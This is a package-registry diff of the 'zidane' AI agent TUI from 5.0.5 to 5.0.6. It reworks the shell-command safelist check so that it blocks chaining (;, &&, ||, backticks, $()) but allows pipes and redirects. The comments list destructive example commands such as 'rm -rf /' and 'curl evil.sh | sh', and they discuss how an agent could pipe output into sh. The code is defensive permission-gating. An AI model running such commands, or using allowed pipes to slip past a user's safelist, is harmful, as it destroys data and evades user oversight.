zidane 5.0.5 → 5.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/chat.d.ts +10 -11
- package/dist/chat.d.ts.map +1 -1
- package/dist/chat.js +1 -1
- package/dist/tui.js +9 -10
- package/dist/tui.js.map +1 -1
- package/dist/{turn-operations-DZ3TrljX.js → turn-operations-BfEh-GER.js} +59 -28
- package/dist/{turn-operations-DZ3TrljX.js.map → turn-operations-BfEh-GER.js.map} +1 -1
- package/package.json +1 -1
|
@@ -2899,43 +2899,74 @@ function primaryArgValue(input) {
|
|
|
2899
2899
|
}
|
|
2900
2900
|
return "";
|
|
2901
2901
|
}
|
|
2902
|
-
/** Extract the first whitespace-delimited token of the primary arg. */
|
|
2903
|
-
function primaryArgToken(input) {
|
|
2904
|
-
return primaryArgValue(input).split(/\s+/)[0] ?? "";
|
|
2905
|
-
}
|
|
2906
2902
|
/**
|
|
2907
|
-
*
|
|
2908
|
-
*
|
|
2909
|
-
*
|
|
2910
|
-
* `git status && rm -rf /` would tokenize to `git` and pass the safelist
|
|
2911
|
-
* unchallenged. Reject any command that's not a single program call.
|
|
2912
|
-
*
|
|
2913
|
-
* The regex is intentionally generous: false positives (e.g. `echo "hi & bye"`)
|
|
2914
|
-
* just prompt the user again, which is the safe failure mode.
|
|
2903
|
+
* Extract the first whitespace-delimited token of the primary arg.
|
|
2904
|
+
* Leading whitespace is trimmed first so `" git status"` tokenizes to
|
|
2905
|
+
* `"git"`, not `""` (an empty first element from `.split(/\s+/)`).
|
|
2915
2906
|
*/
|
|
2916
|
-
|
|
2917
|
-
|
|
2918
|
-
|
|
2907
|
+
function primaryArgToken(input) {
|
|
2908
|
+
return primaryArgValue(input).trim().split(/\s+/)[0] ?? "";
|
|
2909
|
+
}
|
|
2910
|
+
/**
|
|
2911
|
+
* Shell features that introduce a SECOND, UNRELATED command into the
|
|
2912
|
+
* pipeline — and would silently bypass a `shell:<head>:*` safelist that
|
|
2913
|
+
* the user only meant to cover the head program. We block these
|
|
2914
|
+
* specifically:
|
|
2915
|
+
*
|
|
2916
|
+
* - `;` — sequence operator (`git status; rm -rf /`)
|
|
2917
|
+
* - `&&` / `||` — and-/or-chains (`git status && curl evil.sh | sh`)
|
|
2918
|
+
* - `\n` / `\r` — multi-line scripts, equivalent to `;`
|
|
2919
|
+
* - `` ` `` — backtick command substitution (`echo \`rm -rf /\``)
|
|
2920
|
+
* - `$(…)` — modern command substitution (`echo $(rm -rf /)`)
|
|
2921
|
+
*
|
|
2922
|
+
* We deliberately do NOT block:
|
|
2923
|
+
*
|
|
2924
|
+
* - `|` — pipes; required for the bread-and-butter CLI pattern
|
|
2925
|
+
* `sentry issue list … | jq -r '.[]'`.
|
|
2926
|
+
* - `>` / `>>` / `<` / `2>&1` — I/O redirection; `cmd > out.txt` and
|
|
2927
|
+
* `cmd 2>&1 | jq` are normal CLI usage.
|
|
2928
|
+
* - `&` (alone) — backgrounding; runs the same command in the background
|
|
2929
|
+
* rather than chaining a new one.
|
|
2930
|
+
* - `(…)` — subshells; rare in practice, and the chaining
|
|
2931
|
+
* detectors above already catch the dangerous content
|
|
2932
|
+
* that would typically live inside them.
|
|
2933
|
+
*
|
|
2934
|
+
* Trade-off: a model that controls the output of the safelisted head
|
|
2935
|
+
* command could in principle pipe garbage into a destructive tool
|
|
2936
|
+
* (`sentry list | sh`). The original implementation blocked all
|
|
2937
|
+
* metacharacters to avoid that risk, but it made `shell:<head>:*`
|
|
2938
|
+
* unusable for real CLI workflows — users hit the prompt on every
|
|
2939
|
+
* `cmd | jq` and learned to ignore the modal. Allowing pipes/redirects
|
|
2940
|
+
* trusts the user's explicit "I want everything starting with <head>"
|
|
2941
|
+
* decision; the chaining rejections above keep the obvious escape
|
|
2942
|
+
* hatches closed.
|
|
2943
|
+
*
|
|
2944
|
+
* The regex is intentionally generous: false positives (e.g. a literal
|
|
2945
|
+
* `&&` inside a quoted argument) just prompt the user again, which is
|
|
2946
|
+
* the safe failure mode.
|
|
2947
|
+
*/
|
|
2948
|
+
const SHELL_CHAINING_RE = /&&|\|\||\$\(|[;`\n\r]/;
|
|
2949
|
+
function hasShellChaining(command) {
|
|
2950
|
+
return SHELL_CHAINING_RE.test(command);
|
|
2919
2951
|
}
|
|
2920
2952
|
/**
|
|
2921
2953
|
* Test whether a `{ tool, input }` pair is covered by one safelist entry.
|
|
2922
2954
|
*
|
|
2923
2955
|
* Supported entry shapes:
|
|
2924
|
-
* - `"<tool>"` — broad match on tool name. For `shell
|
|
2925
|
-
*
|
|
2926
|
-
* - `"<tool>:<token>:*"` — match when the primary arg's first token
|
|
2927
|
-
* `<token>`. For `shell`,
|
|
2928
|
-
*
|
|
2929
|
-
*
|
|
2930
|
-
*
|
|
2931
|
-
*
|
|
2932
|
-
*
|
|
2933
|
-
*
|
|
2934
|
-
* version of the TUI).
|
|
2956
|
+
* - `"<tool>"` — broad match on tool name. For `shell`, the command
|
|
2957
|
+
* must not chain through another program (see {@link SHELL_CHAINING_RE}).
|
|
2958
|
+
* - `"<tool>:<token>:*"` — match when the primary arg's first token
|
|
2959
|
+
* equals `<token>`. For `shell`, same chaining gate as above. Pipes
|
|
2960
|
+
* and redirects are allowed so `shell:sentry:*` covers the typical
|
|
2961
|
+
* `sentry … | jq …` workflow.
|
|
2962
|
+
*
|
|
2963
|
+
* Entries that don't fit either shape are ignored (forward-compat for
|
|
2964
|
+
* future pattern syntax — readers shouldn't choke on entries written
|
|
2965
|
+
* by a newer version of the TUI).
|
|
2935
2966
|
*/
|
|
2936
2967
|
function matchesSafelistEntry(entry, tool, input) {
|
|
2937
2968
|
if (tool === "shell") {
|
|
2938
|
-
if (
|
|
2969
|
+
if (hasShellChaining(typeof input.command === "string" ? input.command : "")) return false;
|
|
2939
2970
|
}
|
|
2940
2971
|
if (entry === tool) return true;
|
|
2941
2972
|
const sep = entry.indexOf(":");
|
|
@@ -3676,4 +3707,4 @@ function countNeighbors(turnIds, turnId) {
|
|
|
3676
3707
|
//#endregion
|
|
3677
3708
|
export { SETTINGS_TOGGLES as $, modelsForDescriptor as $t, readProjects as A, FILES_TRIGGER as At, defaultMcpsConfigPaths as B, credentialsPath as Bt, useSafeModeQueue as C, titleFromTurns as Ct, isOnSafelist as D, SKILLS_TRIGGER as Dt, getSafelist as E, findGitRoot$1 as Et, supportsOAuth as F, findActiveTrigger as Ft, ageString as G, writeCredentials as Gt, parseMcpsFile as H, readProviderCredential as Ht, buildModelCatalog as I, mergeReferences as It, shortId as J, cerebrasDescriptor as Jt, compactPath as K, BUILTIN_PROVIDERS as Kt, filterModelCatalog as L, useCompletion as Lt, writeProjects as M, uniqueFilesFromReferences as Mt, splitPromptSegments as N, applyInsert as Nt, matchesSafelistEntry as O, createSkillsCompletionProvider as Ot, runOAuthLogin as P, collectReferences as Pt, SETTINGS_CHOICES as Q, modelSupportsReasoning as Qt, indexOfEntry as R, detectAuth as Rt, useSafeModeActions as S, stripSpawnTokensLine as St, addToSafelist as T, toolResultText as Tt, cleanTitle as U, removeProviderCredential as Ut, discoverProjectMcps as V, readCredentials as Vt, generateSessionTitle as W, setProviderCredential as Wt, useEnabledToggleSet as X, getContextWindow as Xt, listProjectFiles as Y, credKeyOf as Yt, DEFAULT_SETTINGS as Z, getModelInfo as Zt, discoverProjectSkills as _, lastContextSizeFromTurns as _t, ThemeProvider as a, DEFAULT_AGENT_ID as an, resolveTheme as at, writeSessionExport as b, saveState as bt, useSurfaces as c, singleAgentRegistry as cn, CATPPUCCIN_LATTE as ct, finalizeStreamingMarkdown as d, ConfigProvider as dt, openaiDescriptor as en, SettingsProvider as et, finalizeStreamingMarkdownForOwner as f, useConfig as ft, defaultSkillScanPaths as g, eventsFromTurns as gt, buildSkillsConfig as h, deriveSessionTitle as ht, turnAsText as i, BUILTIN_AGENTS as in, resolveChipColor as it, suggestSafelistEntry as j, createFilesCompletionProvider as jt, projectsFilePath as k, uniqueSkillNamesFromReferences as kt, useSyntaxStyles as l, CATPPUCCIN_MACCHIATO as lt, useStreamBuffer as m, createStateStore as mt, deleteTurnSafely as n, piIdOf as nn, BUILTIN_THEMES as nt, useColors as o, PLAN_AGENT as on, VAPORWAVE_THEME as ot, turnContextSize as p, resolveConfig as pt, fmtTokens as q, anthropicDescriptor as qt, truncateTurnsAt as r, BUILD_AGENT as rn, DEFAULT_THEME as rt, useSelectStyle as s, resolveAgentId as sn, CATPPUCCIN_FRAPPE as st, countNeighbors as t, openrouterDescriptor as tn, useSettings as tt, useTheme as u, CATPPUCCIN_MOCHA as ut, renderSession as v, listSessionMeta as vt, IMPLICITLY_SAFE_TOOLS as w, toolCallPreview as wt, SafeModeProvider as x, selectableTurnIds as xt, resolveSessionExportTarget as y, loadState as yt, buildMcpServers as z, applyApiKeyEnv as zt };
|
|
3678
3709
|
|
|
3679
|
-
//# sourceMappingURL=turn-operations-
|
|
3710
|
+
//# sourceMappingURL=turn-operations-BfEh-GER.js.map
|